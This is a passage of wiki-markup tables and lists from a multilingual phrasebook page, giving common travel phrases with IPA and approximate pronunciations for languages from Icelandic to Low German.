|sorry || ''bocsánat'' || /{{IPA|ˈboʧaːnɒt}}/ || ('BOH-chaa-not)
|-
|I don't understand || ''nem értem'' || /{{IPA|ˈnɛm eːr'tɛm}}/ || (NEM ayr-tem)
|-
|I don't remember || ''nem emlékszem''|| || (NEM EM-lake-sem)
|-
|where's the bathroom? || ''Hol van a mosdó?'' || /{{IPA|ˈhol vɒn ɒ 'moʃdoː}}/ || ('HOLE von o MOSH-doh)
|-
|generic toast || ''egészségedre'' || /{{IPA|ˈɛgeːʃːeːgɛdrɛ}}/ || ('EH-gay-shay-ged-re) || literally &quot;to your health&quot;
|-
|Do you speak English? || ''Beszél angolul?'' || /{{IPA|ˈbɛseːl ˈɒŋgolul}}/ || ('BEH-sayl 'ON-goh-lool)
|}

== [[Icelandic language|Icelandic]] ([[Germanic languages|Germanic]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
|-
|Icelandic || ''íslenska'' || /{{IPA|'iːslenska}}/ || (EES-len-ska)
|-
|hello || ''gó&amp;eth;an dag'' || /{{IPA|'gouːðan daːγ}}/ || (GOH-than dahg)
|-
|good-bye || ''bless'' || /{{IPA|blɛsː}}/
|-
|please || ''gjör&amp;eth;u svo vel'' || /{{IPA|'gjœr&amp;theta;ʏ sɔ vɛːl}}/ || (GYUHR-thuh so vel)
|-
|thank you || ''takk fyrir'' || /{{IPA|taʰk 'fɪːrɪr}}/ || (tahk FEER-eer)
|-
|that one || ''&amp;thorn;etta'' || /{{IPA|'&amp;theta;eʰtːa}}/ || (thetta)
|-
|how much? || ''hversu mikið'' || /{{IPA|'kversʏ 'mɪːcɪð}}/ || (KVAIR-suh mickith)
|-
|English || ''enska'' ||/{{IPA|'enska/}} || (ENN-skah)
|-
|yes || ''já'' || /{{IPA|jauː}}/ || (yow)
|-
|no || ''nei'' || /{{IPA|nej}}/ || (nay)
|-
|generic toast || ''skál!'' || /{{IPA|skauːl}}/ || (scowl)
|}

== [[Bahasa Indonesia|Indonesian]] ([[Malayo-Polynesian]]) ==

(note: ''N'' is pronounced like ''ng'' in ''king'')
*Indonesian:     ''bahasa Indonesia'' /ba-ha-sa in-do-ne-sia/
*hello:          ''halo'' /ha-lo/ (casual and on telephone)
*good morning:   ''selamat pagi'' /suh-la-mat pa-gi/ 
*good afternoon: ''selamat siang'' /... si-aN/ (from 12 o'clock in the afternoon)
*good evening:   ''selamat sore'' /... so-re/ (from 3 p.m.)
*good night:     ''selamat malam'' /... ma-lam/ (from 6 p.m.)
*good-bye: 
**''dadah'' /dah-dah/ (usual, informal) from Dutch: dag /dah/
**''selamat tinggal'' /... tiN-gal/ (said by person leaving)
**''selamat jalan'' /... ja-lan/ (said by person staying)
*please:         ''tolong'' /toe-loN/
*thank you:      ''terima kasih'' /tree-ma ka-sih/
*you're welcome: ''terima kasih kembali''
*this one:       ''ini''
*that one:       ''itu'' /i-too/
*how much?       ''berapa'' /buh-ra-pa/
*English:        ''bahasa Inggris'' /ba-ha-sa iN-gris/
*yes:            ''ya'' /ya/
*no:             ''tidak'' /ti-da'/
*generic toast:  ''selamat minum'' /suh-la-mat mi-noom/ (cheers)
*I'm sorry:      ''maaf'' /ma-af/
*I don't understand: ''saya tidak mengerti'' /sa-ya ti-da' muh-Nur-ti/
*I don't know:   ''saya tidak tahu''
*Do you speak English?: ''bisa bahasa Inggris?'' /bi-sa .../
*I cannot speak Indonesian: ''saya tidak bisa berbicara bahasa Indonesia''
*I want to go to...: ''saya mau pergi ke...''
*Where is the restroom?: ''di mana toilet?'' /di ma-na toy-let/
*Happy birthday: ''selamat ulang tahun'' /suh-la-mat oo-lang tuh-hoon/

== [[Irish language|Irish]] ([[Celtic languages|Celtic]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=leftvalign=top | Pronunciation
|- valign=top
|Irish || ''Gaeilge'' || {{IPA|/geləgɛ/}} || (GAY-lih-geh)
|- valign=top
|welcome || ''fáilte'' ||{{IPA|/faːltʲə/}} || (FALL-cha)
|among || ''í measc'' || {i-mask}
|- valign=top
|good-bye || ''slán'' || {{IPA|/slaːn/}} || (slahn)
|- valign=top
|please || ''le do thoil'' || {{IPA|/lɛ dɔ hul/}} || (leh duh hull)
|- valign=top
|thank you || ''go raibh maith agat'' || {{IPA|/gə rɛv mah agət/}} || (guh re MAH a-gut)
|- valign=top
|sorry || ''tá brón orm'' || || (taw brohn urm)
|- valign=top
|that one || ''é sin'' || {{IPA|/eʃin/}} || (Ay shin)
|- valign=top
|how much? || ''cé mhéad'' || {{IPA|/keː veːd/}} || (kay-vade)
|- valign=top
|English || ''Béarla'' || {{IPA|/beːr lə/}} || (BARE-lah)
|- valign=top
|yes || Sea || || (shah)&lt;br&gt;as an answer to 'Is it that?' Otherwise the correct verb form is necessary. Example: &quot;&lt;b&gt;An bhfuil&lt;/b&gt; tú ag teach Mháirtín?&quot; (Are you at Martin's house?), would be replied to by &quot;Tá&quot; {{IPA|/ta:w/}} taw. If the conjugation of the verb is unknown, 'Sea' (shah)will be understood.
|- valign=top
|no || Ní hea || || (Nee ha)&lt;br&gt;as an answer to 'Is it that?' . Otherwise the correct verb form is necessary. Example: &quot;&lt;b&gt;An bhfuil&lt;/b&gt; tú ag teach Mháirtín?&quot; (Are you at Martin's house?), would be replied to by &quot;Níl&quot;  (Am not)  {{IPA|/n'i:l/}} (kneel). If the conjugation of the verb is unknown, 'Ní hea ' (Nee ha)will be understood.
|- valign=top
|I don't understand || ''ní thuigim'' || {{IPA|/niː higim/}} ||
|- valign=top
|Where's the bathroom? || ''cá bhfuil an leithreas?'' || || (kaw will un lehras)
|- valign=top
|generic toast || ''sláinte'' || {{IPA|/slaːntʲə/}} || (SLAWN-teh)
|}

== [[Italian language|Italian]] ([[Romance languages|Romance]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
! align=left | Audio
|- valign=top
|Italian|| ''italiano'' || {{IPA|/itaˈljano/}} || (ee-tah-lee-AN-oh) || ([[Media:Italian italiano.ogg|listen]])
|- valign=top
|hello|| ''ciao'' || {{IPA|/ˈʧao/}} || (chah-ow) || ([[Media:Italian ciao.ogg|listen]])
|- valign=top
|good-bye|| ''arrivederci'' || {{IPA|/arːiveˈderʧi/}} || (a-ree-veh-DARE-chee) || ([[Media:Italian arrivederci.ogg|listen]])
|- valign=top
|please|| ''per favore'' || {{IPA|/per faˈvore/}} || (per fa-VOAR-ay) || ([[Media:Italian per favore.ogg|listen]])
|- valign=top
|thank you|| ''grazie'' || {{IPA|/ˈgratsje/}}|| (GRATS-yeh)|| ([[Media:Italian grazie.ogg|listen]])
|- valign=top
|that one|| ''quello'' || {{IPA|/ˈkwelːo/}} || (KWEL-law) (masculine) || ([[Media:Italian quello.ogg|listen]])
|- valign=top
||| ''quella'' || {{IPA|/ˈkwelːa/}} || (KWEL-lah) (feminine) || ([[Media:Italian quella.ogg|listen]])
|- valign=top
|how much?|| ''quanto'' || {{IPA|/ˈkwanto/}} || (KWAN-tow) || ([[Media:Italian quanto.ogg|listen]])
|- valign=top
|English|| ''inglese'' || {{IPA|/iŋˈglɛze/}} || (in-GLEH-zeh)|| ([[Media:Italian inglese.ogg|listen]])
|- valign=top
|yes|| ''sì'' || {{IPA|/si/}} || (see) || ([[Media:Italian sì.ogg|listen]])
|- valign=top
|no|| ''no'' || {{IPA|/no/}} || (no) || ([[Media:Italian no.ogg|listen]])
|- valign=top
|sorry|| ''scusa'' || {{IPA|/ˈskuza/}} || (SKOO-za) || ([[Media:Italian scusa.ogg|listen]])
|- valign=top
||| ''scusi'' || {{IPA|/ˈskuzi/}} || (SKOO-zee) (polite treatment) || ([[Media:Italian scusi.ogg|listen]])
|- valign=top
|I don't understand|| ''non capisco'' || {{IPA|/noŋ kaˈpisko/}} || (non kuh pee skow) || ([[Media:Italian non capisco.ogg|listen]])
|- valign=top
|where's the bathroom?|| ''dov'è il bagno?'' || {{IPA|/doˈvɛ il ˈbaɲːo/}} || (do veh eel bah nyoh) || ([[Media:Italian dov'è il bagno.ogg|listen]])
|- valign=top
|generic toast|| ''salute'' || {{IPA|/saˈlute/}} || (sall-OO-teh) || ([[Media:Italian salute.ogg|listen]])
|- valign=top
||| ''cincin'' || {{IPA|/ʧinˈʧin/}} || (cheen cheen) || ([[Media:Italian cincin.ogg|listen]])
|- valign=top
|Do you speak english?|| ''Parla inglese?'' || {{IPA|/'parla iŋglɛze/}} || (Par-lah  een-gleh-zeh) || ([[Media:Italian parlate inglese.ogg|listen]])
|}

== [[Japanese language|Japanese]] ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=&quot;#eeeeee&quot; valign=&quot;bottom&quot;
! align=left | Translation
! align=left | [[Kanji]] or [[Kana]]
! align=left | [[Romaji|Rōmaji]] 
!align=left | [[International Phonetic Alphabet|IPA]]
! align=left | Approximate pronunciation
|- valign=&quot;top&quot;
| Japanese (''language'') || 日本語 || nihongo || {{IPA|ni&lt;sup&gt;↑&lt;/sup&gt;ho.ɴ.ɣo}} || nee hon go
|- valign=&quot;top&quot;
| Hello! || こんにちは || konnichi wa || {{IPA|ko&lt;sup&gt;↑&lt;/sup&gt;ɴ.ni.cɕi.ɰa}} || kon nee chee wah
|- valign=&quot;top&quot;
| Good evening! || こんばんは || konban wa || {{IPA|ko&lt;sup&gt;↑&lt;/sup&gt;ɴ.ba.ɴ.ɰa}} || kom ban wah
|- valign=&quot;top&quot;
| Good morning! || おはようございます || ohayō gozaimasu (casually shortened to ohayō)|| {{IPA|o&lt;sup&gt;↑&lt;/sup&gt;ha.joː&lt;sup&gt;↓&lt;/sup&gt;ɣo&lt;sup&gt;↑&lt;/sup&gt;za.i.ma&lt;sup&gt;↓&lt;/sup&gt;sɯ̥}} || ohio go zah-ee mahss
|- valign=&quot;top&quot;
| Hello? (''on the telephone'') || もしもし || moshi moshi || {{IPA|mo&lt;sup&gt;↓&lt;/sup&gt;ɕi̥.mo.ɕi↗}} || moh-she moh-she
|- valign=&quot;top&quot;
| Good bye! (''farewell'') || さようなら || sayōnara ||  {{IPA|sa&lt;sup&gt;↑&lt;/sup&gt;joːna.ɺa}} || sigh yoh nah rah
|- valign=&quot;top&quot;
| Good bye! (''I'll be back.'') || 行って来ます || ittekimasu || {{IPA|i&lt;sup&gt;↑&lt;/sup&gt;Q.te.ki.ma&lt;sup&gt;↓&lt;/sup&gt;sɯ̥}} || eat-tay key-mahss
|- valign=&quot;top&quot;
| Good bye! (''Come back soon.'') || 行ってらっしゃい || itterasshai || {{IPA|i&lt;sup&gt;↑&lt;/sup&gt;Q.te.ɺa.Q.ɕa.i}} || eat-tay rahsh-shy
|- valign=&quot;top&quot;
| See you later || じゃあまたね || Jâ mata ne ||  || jah mah-tah nay
|- valign=&quot;top&quot;
| Please give me [...] / Please do [...] || ...下さい || kudasai || {{IPA|ku&lt;sup&gt;↑&lt;/sup&gt;da.sa&lt;sup&gt;↓&lt;/sup&gt;i}} || koo-dah-sigh
|- valign=&quot;top&quot;
| Please. (''Go ahead. / Be my guest.'') || どうぞ || dōzo|| {{IPA|do&lt;sup&gt;↓&lt;/sup&gt;ːzo}} || doh-zoh
|- valign=&quot;top&quot;
| Please [...] (''request'') || お願いします || onegai shimasu ||  {{IPA|o&lt;sup&gt;↑&lt;/sup&gt;ne.ɣa.i.ɕi.ma&lt;sup&gt;↓&lt;/sup&gt;sɯ̥}} || oh ne-guy she-mahss
|- valign=&quot;top&quot;
| Thank you. || ありがとう || arigatō || {{IPA|a&lt;sup&gt;↑&lt;/sup&gt;ɺi&lt;sup&gt;↓&lt;/sup&gt;ɣa.toː}} || ah-ree-gah-toh
|- valign=&quot;top&quot;
| Excuse me. || すみません || sumimasen || {{IPA|su&lt;sup&gt;↑&lt;/sup&gt;mi.ma.se.ɴ&lt;sup&gt;↓&lt;/sup&gt;}} || sue-me-mah-sen
|- valign=&quot;top&quot;
| Sorry. (''informal'') || ごめん || gomen || {{IPA|go&lt;sup&gt;↑&lt;/sup&gt;me.ɴ}} || go-men
|- valign=&quot;top&quot;
| I'm sorry. (''formal'') || ごめんなさい || gomen nasai || {{IPA|go&lt;sup&gt;↑&lt;/sup&gt;me.ɴ.na.sa.i&lt;sup&gt;↓&lt;/sup&gt;}} || go-men nah-sigh
|- valign=&quot;top&quot;
| That one. (''near you'') || それ || sore || {{IPA|so&lt;sup&gt;↑&lt;/sup&gt;ɺe}} || so-reh
|- valign=&quot;top&quot;
| That one. (''over there') || あれ || are || {{IPA|a&lt;sup&gt;↑&lt;/sup&gt;ɺe}} || ah-reh
|- valign=&quot;top&quot;
| How much? (''price'') || いくらですか || ikura desu ka || {{IPA|i&lt;sup&gt;↓&lt;/sup&gt;ku.ɺa.de.sɯ̥.ka↗}} || ee-koo-rah dess kah
|- valign=&quot;top&quot;
| English (''language'') || 英語 || eigo || {{IPA|e&lt;sup&gt;↑&lt;/sup&gt;ːɣo}} || ay-go
|- valign=&quot;top&quot;
| Do you speak English? || 英語が話せますか || eigo ga hanasemasu ka || {{IPA|e&lt;sup&gt;↑&lt;/sup&gt;ːɣo.ɣa&lt;sup&gt;↓&lt;/sup&gt;ha&lt;sup&gt;↑&lt;/sup&gt;na.se.ma&lt;sup&gt;↓&lt;/sup&gt;sɯ̥.ka↗}} || ay-go gah hah-nah-say-mahss kah
|- valign=&quot;top&quot;
| Yes. || はい || hai ||  {{IPA|ha&lt;sup&gt;↓&lt;/sup&gt;i}} || high
|- valign=&quot;top&quot;
| No. || いいえ || iie ||  {{IPA|i&lt;sup&gt;↓&lt;/sup&gt;i.e}} || ee-eh
|- valign=&quot;top&quot;
| Bon appétit! (''corresponds to &quot;I receive&quot; in Japanese'') || いただきます || itadakimasu || {{IPA|i&lt;sup&gt;↑&lt;/sup&gt;ta.da.ki.ma&lt;sup&gt;↓&lt;/sup&gt;sɯ̥}} || ee-tah-dah-key-mahss
|- valign=&quot;top&quot;
| Thank you for the meal. || ごちそうさまでした || gochisōsama deshita || {{IPA|go&lt;sup&gt;↑&lt;/sup&gt;cɕi̥.soːsa.ma.de.ɕi̥.ta}} || go-chee-sohsahma h desh-ta
|- valign=&quot;top&quot;
| Where's the bathroom? || トイレはどこですか || toire wa doko desu ka? || {{IPA|to&lt;sup&gt;↓&lt;/sup&gt;i.ɺe.ɰa&lt;sup&gt;↑&lt;/sup&gt;do&lt;sup&gt;↓&lt;/sup&gt;ko.de.sɯ̥.ka↗}} || toy-reh wah doh-koh dess kah
|- valign=&quot;top&quot;
| Cheers! (''toast'') || 乾杯 || kanpai || {{IPA|&lt;sup&gt;↑&lt;/sup&gt;ka.ɴ.pa.i}} || cahm-pie
|- valign=&quot;top&quot;
| foreigner || 外国人 || gaikokujin || {{IPA|ga&lt;sup&gt;↑&lt;/sup&gt;i.ko.ku&lt;sup&gt;↓&lt;/sup&gt;ʑi.ɴ}} || guy-koh-koo-jin
|}

== [[Kannada language|Kannada]] ([[Dravidian languages|Dravidian]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | [[ITRANS]] transliteration
! align=left | Pronunciation
! align=left | Literal meaning
|-
|Kannada||ಕನ್ನಡ||kannaDa||(kanna Dah ('D' is with retroflex))|| ||
|-
|Hello||  ||namaskAra||(namas kārā)||Salutations||
|-
|Hello (informal)|| ||Enu samAchAra||(eh nu sa maah chaah rah)||What's up?||
|-
|Good bye (when leaving) || ||hOgibiTTu baruttEne||(hoe gee biTTu barut tey ney ('T' is retroflex))||I will go and come back||
|-
|Good bye (when being left)|| ||hOgibiTTu banni||(hoe gee biTTu bun knee ('T' is retroflex)||Go and come back||
|-
|How are you?|| ||nIvu hEge iddIra?||(nee voo hey gay id dee rah)|| ||
|-
|Please|| ||dayaviTTu||(da yah viTTu ('T' is retroflex))||With mercy||
|-
|Thank you|| ||dhanya vAdagaLu||(dhan yah vaada gaLu ('L' is retroflex))||Many thanks||
|-
|That one|| ||adu||(ah du)|| ||
|-
|How much?|| ||eshTu?||(esh Tu ('T' is retroflex)|| ||
|-
|English|| ||aangla||(ahng lah)|| ||
|-
|Yes|| ||houdu||(how doo)|| ||
|-
|No|| ||illa||(ill ah)|| ||
|}
&lt;!-- I have reformatted this using ITRANS/Baraha transliteration. I have also added another coloumn for literal meaning. Can somebody fill up the empty second coloumn with kannaDa lipi --&gt;

== [[Khmer language|Khmer]] ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | IPA
! align=left | Pronunciation
! align=left | Remarks
|- valign=top
|-
|Khmer||ខ្មែរ || ||khmer
|-
|hello||សួស្ដី || ||soursdey''
|-
|good-bye||លា​ហើយ || ||lea hey''
|-
|sorry||សូម​ទោស|| ||som tos||
|-
|no problem||គ្មានបញ្ហា || ||kmean panh-ha''
|-
|happy new year||សួស្ដី​ឆ្នាំ​ថ្មី || ||soursdey chnamm tmei''
|-
|I love Khmer||ខ្ញុំ​ស្រលាញ់​ខ្មែរ || ||knhom sro-lanh khmer''
|-
|Thank you||អរគុណ || ||Or kun''
|-
|How much||ថ្លៃប៉ុន្មាន || ||Tlai punman''
|-
|yes||បាទ &lt;br&gt; ចាស៎ || || bart &lt;br&gt; jah ||(male) &lt;br&gt; (female)
|-
|no||ទេ || || teh
|-
|I don't understand||ខ្ញុំ​មិន​យល់​ទេ || || kngom men yol teh
|-
|where's the toilet?||តើ​បន្ទប់​ទឹក​នៅ​ទី​ណា? || || ter bantub tek nov ti na?
|-
|Do you speak English?||តើ​អ្នក​និយាយ អង់គ្លេស ទេ? || || ter nak niyay Anglais teh?
|}

== [[Korean language|Korean]] ==

''Note: [[Hangul]]'' [[Revised Romanization of Korean]]
''See also: [[Names of Korea]]''

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | [[Revised Romanization of Korean|RR]]
! align=left | IPA
! align=left | Pronunciation
! align=left | Remarks
|- valign=top
|-
|Korean
|한국어
|hangugeo
|{{IPA|[haːnɡuɡʌ]}}
|hahn goo guh
|
|-
|Hello
|안녕하세요
|annyeonghaseyo
|{{IPA|[anːjʌŋɦasejo]}}
|ahn nyuhng ha say yo
|formal
|-
|Hello
|안녕
|annyeong
|{{IPA|[anːjʌŋ]}}
|ahn nyuhng
|informal; for friends or someone younger
|-
|good-bye
|안녕히 계세요
|annyeonghi gyeseyo
|{{IPA|[anːjʌŋɦiɡesejo]}}
|ahn nyuhng hee geh say yo
|formal; when leaving (person addressed to is staying)
|-
|good-bye
|안녕히 가세요
|annyeonghi gaseyo
|{{IPA|[anːjʌŋɦiɡasejo]}}
|ahn nyuhng hee ga say yo
|formal; when person addressed to is leaving
|-
|good-bye
|안녕
|annyeong
|{{IPA|[anːjʌŋ]}}
|ahn nyuhng
|informal; for friends or someone younger
|-
|please may I have
|주세요
|juseyo
|{{IPA|[ʨusejo]}}
|ju say yo
|to be used after the object; e.g., Kimbap juseyo. = Sushi roll, please.
|-
|thank you
|고맙습니다 
|gomapseupnida
|{{IPA|[koːmaps͈ɯmnida]}}
|go mahp s'm nee dah
|
|-
|thanks
|고마워
|gomawo
|{{IPA|[koːmawʌ]}}
|go mah wuh
|informal; to friends or someone younger
|-
|that one
|저것
|jeogeot
|{{IPA|[ʨʌɡʌt]}}
|juh gut
|
|-
|how much?
|얼마예요?
|eolmayeyo
|{{IPA|[ʌlmajejo]}}
|uhl ma yeh yo
|-
|yes
|네 &lt;br&gt; 예
|ne &lt;br&gt; ye
|{{IPA|[ne]}} &lt;br&gt; {{IPA|[jeː]}}
|neh &lt;br&gt; yeah
|
|-
|no
|아니오  &lt;br&gt; 아뇨
|anio &lt;br&gt; anyo
|{{IPA|[anio]}} &lt;br&gt; {{IPA|[anjo]}}
|ah-nee-oh &lt;br&gt; ah-nyoh
|
|-
|sorry
|미안합니다 
|mianhamnida
|{{IPA|[mianɦamnida]}}
|mee ahn hahm nee dah
|-
|I don't understand
|모르겠습니다 
|moreugetsseumnida
|{{IPA|[moːɾɯɡets͈ɯmnida]}}
|mow l' get s'm nee dah
|-
|where's the toilet?
|화장실이 어디예요?
|hwajangsiri eodiyeyo
|{{IPA|[hwaʥaŋɕiɾi ʌdijɛjo]}}
|hwah jahng shee ree uh dee yay yo
|-
|generic toast
|건배!&lt;br&gt;위하여!
|geonbae&lt;br&gt;wihayeo
|{{IPA|[kʌnbɛ]}}&lt;br&gt;{{IPA|[wihajʌ]}}
|gun beh&lt;br&gt;wee hah yuh
|-
|Do you speak English?
|영어 할 줄 아세요?
|yeongeo hal jul aseyo
|{{IPA|[jʌŋʌ halʨ͈ul asejo]}}
|young uh hahl jool ah say yo
|}

==[[Belizean Kriol language|Kriol (Belizean)]] Creole, English based, Atlantic, Western==

*Kriol:
*My name is... ''I naym...'' (or) ''Mee naym...''
*What is your name? ''Weh yu naym?''
*What's up? Hello (informal) ''Weh di go aan?''
*Good morning. ''Good maanin.''
*How are you? ''Wassup wid yu?''
*Fine, thank you. ''I Aarait mein.''
*How much does this cost? ''Humoch dis kaas?''
*What time is it? ''Weh taim now?''
*I've had a wonderful time. ''I mi have wahn good taim.''
*It doesn't matter. ''Ih noh mata.''
*Is that so? ''Fu chroo?''

*good-bye: &quot;Lata&quot;
*please:&quot;&quot;
*thank you:&quot;&quot;
*that one: &quot;Da one deh&quot;
*yes: &quot;yeah&quot;
*no:&quot;&quot;
*I don't know: &quot;Me nuh know&quot;

*Sorry:&quot;&quot;
*I don't understand: &quot;I nuh understand&quot;

*See you tomorrow: &quot;We wah link up tommorrow&quot;
*What is it?: &quot;Weh dis&quot;
*Where am I?: &quot;Weh I deh&quot;

== [[Kurdish language|Kurdish]] ([[Indo-Iranian languages|Indo-Iranian]]) ==
{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | Pronunciation
|- valign=top
|-
|Kurdish || '''Kurdî''' || || (Kur-di)
|-
|good morning || '''beyanî baş''' || || (ba-ya-nî-bash)  
|-
|good day || '''Roj Baş''' || || (rozh-bash)
|-
|good-bye || '''serçawan''' || || (sar-cha-wan)
|-
|welcome  ||  '''be xêr hatî|| || (ba-xer-ha-ti)
|-
|p lease || '''tikaye''' || || (t-ka-ya)
|-
|thank you || '''spas''' || || (spas)
|-
|sorry || '''bibûre''' || || (b-bu-ra)
|-
|that one || '''howe''', || || (ho-wa) 
|-
|h*ow much? || '''çende''' || || (chan-da)
|-
|yes || '''belê''' || || (ba-le)
|-
|no || '''na''' || || (na)
|-
|I don't understand || '''tê nagem''' || || (te-na-gam)
|-
|where's the bathroom? || '''awdes le kwêye?''' || || (aw-das-la-kue-ya)
|-
|Do you speak English? || '''Tu inglîsî dezanî?''' || || (tu-in-gli-si-da-za-ni)
|}

== [[Latin]] ([[Italic languages|Italic]]) ==

Pronunciations are first given in the Ecclesiastical Pronunciation (Based on [[Italian language|Italian]], and used in some ceremonies by the [[Roman Catholic Church|Catholic]] church, and usually heard in recordings of [[European classical music|classical music]]). These pronunciations are followed by the classical pronunciation (a reconstruction of how scholars believe the Romans pronounced these expressions)

For example -- &quot;of light&quot; lucis {{IPA|/'luʧis/}} (LOO-cheess) {{IPA|/'luːkis/}} (LOO-kiss), with (LOO-cheess) being the ecclesiastical pronunciation, and (LOO-kiss) how the Romans said lucis.

{| border=0 cellpadding=2 cellspacing=1 
|-
!bgcolor=#EEEEEE|Translation
!bgcolor=#EEEEEE|Latin
!bgcolor=#EEEEEE|IPA (Ecclesastical)
!bgcolor=#EEEEEE|Pseudo-English
!bgcolor=#EEEEEE|IPA (Classical)
!bgcolor=#EEEEEE|Pseudo-English
|-
|Latin
|lingua Latina
|{{IPA|/'lingwa la'tina/}}
|(lah-TEE-nah)
|{{IPA|/'lingwa la'tiːna/}}
|(lah-TEE-nah)
|-
|hello
|ave!
|{{IPA|/'ave/}}
|(Ah-vay)
|{{IPA|/'aːweː/}}
| (Ah-way) 
|-
|goodbye
|vale!
|{{IPA|/'vale/}}
|(vah-lay)
|{{IPA|/'waːleː/}}
| (wah-lay)
|-
|please
|si placet
|{{IPA|/si 'plaʧet/}}
|(see PLAH-chet)
|{{IPA|/siː 'plakɛt/}}
| (see PLAH-ket)
|-
|thank you
|gratias tibi ago
|{{IPA|/'gratsias 'tibi 'ago/}}
|(GRAH-tsee-as TI-bee AH-goh)
|{{IPA|/'graːtiaːs 'tibi 'agoː/}}
| (GRAH-tee-as Ti-bee AH-goh)
|-
|that one
|ille/ illa/ illud
|{{IPA|/'ilːe, 'ilːa, 'ilːud/}}
|(ILL-lay, ILL-lah, ILL-lud)
|{{IPA|/'ilːɛ, 'ilːa, 'ilːud/}}
| (ill-leh, ill-lah, ill-lud)
|-
|how much?
|quot?
|{{IPA|/kwot/}}
|(quote)
|{{IPA|/kwot/}}
| (quaht)
|-
|yes
|certe, ita vero
|{{IPA|/'ʧerte/}}
|(CHAIR-tay)
|{{IPA|/'kɛrteː/}}
| (kert-eh)
|-
|no
|non, nullo modo
|{{IPA|/'non, 'nulːo 'modo/}}
|(noan, NUL-loh MO-doh)
|{{IPA|/'noːn, 'nulːo 'mɔdoː/}}
| (known, NUL-oh MO-doh)
|-
|sorry
|ignosce mihi
|{{IPA|/i'ɲoʃe 'mihi/}}
|(een-YOH-shay MEE-hee)
|{{IPA|/i'ŋnoːskɛ 'mihi/}}
| (ing-know-skeh Mi-hee)
|-
|I don't understand
|non comprehendo
|{{IPA|/noŋ kompre'hendo/}}
|(noan com-pray-HEN-doh)
|{{IPA|/noːŋ komprɛ'hɛndoː/}}
| (known com-pray-HEN-doh)
|-
|where's the bathroom?
|ubi sunt latrinae?
|{{IPA|/'ubi sunt la'trine/}}
|(OO-bee sunt lah-TREE-nay)
|{{IPA|/'ubi sunt la'triːnai/}}
| (OO-bee sunt lah-tri-neye) (neye rhyming with eye)
|-
|generic toast
|salutem!
|{{IPA|/sa'lutem/}}
|(sah-LOO-tehm)
|{{IPA|/sa'luːtɛ̃/}}
| (sah-LOO-tehm)
|-
|Do you speak English?
|loquerisne anglice?
|{{IPA|/lokwe'risne 'aŋgliʧe/}}
|(loh-quay-RISS-nay AHNG-glee-chay?)
|{{IPA|/lɔkwɛ'risnɛ 'aŋglikeː/}}
| (loh-queh-riss-neh ah-ngli-keh?)
|}

== [[Latvian language|Latvian]] ([[Baltic languages|Baltic]]) ==

*Latvian: ''Latviešu''
*Hello (informal): ''Sveiki!''
*Hello (formal): ''Sveicināti!''
*Good day (formal): ''Labdien!''
*Good evening: ''Labvakar!''
*Good morning: ''Labrīt!''
*Goodbye: ''Uz redzēšanos!''
*Glad to meet you: ''Prieks iepazīties!''
*Please: ''Lūdzu!''
*Thank you: ''Paldies!''
*Yes: ''Jā''
*No: ''Nē''
*Sorry: ''Atvainojiet!''
*I don't understand: ''Es nesaprotu''
*General toast: ''Priekā!''
*How are you? (formal): ''Kā jums klājas?'' 
*How are you? (informal): ''Kā tev iet?'' 
*Where's the bathroom?: ''Kur ir tualete?''
*Do you speak English? (formal): ''Vai Jūs runājat angliski?''
*Do you speak English? (informal): ''Vai tu runā angliski?''
*I love you: ''Es tevi mīlu''
*See you tomorrow: ''Tiksimies rīt!''
*What is it?: ''Kas tas ir?''
*Where am I?: ''Kur es esmu?''
*Where is the closest train station?: ''Kur atrodas tuvākā vilciena stacija?''
*What time is it?: ''Cik ir pulkstenis?''
*Happy Birthday: ''Daudz laimes dzimšanas dienā!''
*Happy New Year: ''Laimīgu jauno gadu!''

== [[Lithuanian language|Lithuanian]] ([[Baltic languages|Baltic]]) ==

*Lithuanian: ''Lietuviškai'' (&quot;lietu'vishkai&quot;)
*hello: ''labas'' (&quot;lA-bas&quot;) 
*goodbye: ''ate!'' (&quot;ateh'&quot;)
*please: ''prašau''(&quot;prashau&quot;)
*thank you: ''ačiū'' (&quot;Ahchjooh&quot;)
*that one: ''tas''(masculine), ''ta''(feminine)
*how much?: ''kiek?'' (&quot;kjEk&quot;)
*yes: ''taip'' (&quot;taIp&quot;)
*no: ''ne'' (&quot;ne'&quot;)
*sorry: ''atsiprašau'' (&quot;atsiprashau&quot;)
*what?: ''ką?''
*I don't understand: ''nesuprantu''
*Cheers! (toast): ''į sveikatą!'' (&quot;EE sveikAtA!&quot;)
*Do you speak English?: ''kalbi angliškai?'' (informal); ''ar kalbate angliškai?&quot;'' (formal)
*I love you: ''Aš tave myliu''
*Where is (the center) ? ''Kur yra (centras)?''
*You are a good friend. ''Tu esi geras draugas.''

== [[Low German]] ([[Germanic languages|Germanic]]) ==

{| border=0 cellpadding=3 cellspacing=0
|- bgcolor=#eeeeee
! align=left | Translation
! align=left | Phrase
! align=left | Pronunciation
! align=left | IPA
! align=left | Remarks
|-
| Low German || ''Plattdüütsch'' || PLUTdyuhtch || {{IPA|/ˈplatdyːʧ/}} || Literally: Flat Saxon
|-
| || ''Platt'' || PLUT || {{IPA|/plat/}} || Literally: Flat
|-
| || ''Nedderdüütsch'' || NEDdudyuhtch || {{IPA|/ˈnɛdɝdyːʧ/}} || Literally: Low German
|-
| || ''Neddersassisch'' || NEDduhzassish || {{IPA|/ˈnɛdɝˌzasɪʃ/}} || Literally: Low Saxon
|-
| English || ''Ingelsch'' || INGelsh || {{IPA|/ˈɪˑŋl̩̩̩ʃ/}}
|-
| Hello! || ''Moin!'' || MOYN || {{IPA|/'mɔˑɪn/}} || Shortened from ''Moi(e)n Dag!'' = 'Pleasant day!'
|-
